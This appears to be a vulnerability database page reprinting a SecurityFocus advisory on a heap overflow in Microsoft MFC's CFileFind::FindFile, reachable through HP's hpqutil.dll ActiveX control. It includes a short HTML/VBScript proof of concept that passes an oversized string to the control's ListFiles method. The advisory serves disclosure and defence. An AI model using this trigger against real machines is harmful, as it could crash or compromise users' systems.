Microsoft MFC Library - CFileFind::FindFile Buffer Overflow
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Microsoft Windows MFC Library FileFind Class Heap Overflow (CVE-2007-4916) | 5 Nov 200700:00 | – | checkpoint_advisories |
 | CVE-2007-4916 | 17 Sep 200717:00 | – | cve |
 | CVE-2007-4916 | 17 Sep 200717:00 | – | cvelist |
 | HP - ActiveX 'hpqutil.dll' ListFiles Remote Heap Overflow (PoC) | 14 Sep 200700:00 | – | exploitdb |
 | CVE-2007-4916 | 17 Sep 200717:17 | – | nvd |
 | Heap overflow | 17 Sep 200717:17 | – | prion |
 | Microsoft MFC库CFileFind::FindFile堆溢出漏洞 | 20 Dec 200700:00 | – | seebug |
 | Microsoft MFC FindFile function heap buffer overflow | 20 Sep 200700:00 | – | cert |
source: https://www.securityfocus.com/bid/25697/info
The CFileFind::FindFile method in the MFC library for Microsoft Windows is prone to a buffer-overflow vulnerability because the method fails to perform adequate boundary checks of user-supplied input.
Successfully exploiting this issue may allow attackers to execute arbitrary code in the context of applications that use the vulnerable method.
The MFC library included with Microsoft Windows XP SP2 is affected; other versions may also be affected.
This issue also occurs in the 'hpqutil.dll' ActiveX control identified by CLSID: F3F381A3-4795-41FF-8190-7AA2A8102F85.
<object classid='clsid:F3F381A3-4795-41FF-8190-7AA2A8102F85' id='pAF'>
</object>
<input type="button" value="heap" language="VBScript" OnClick="OuCh()">
<script language="VBScript">
sub OuCh()
Var_0 = String(620, "A")
pAF.ListFiles Var_0
End Sub
</script>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Dec 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.19667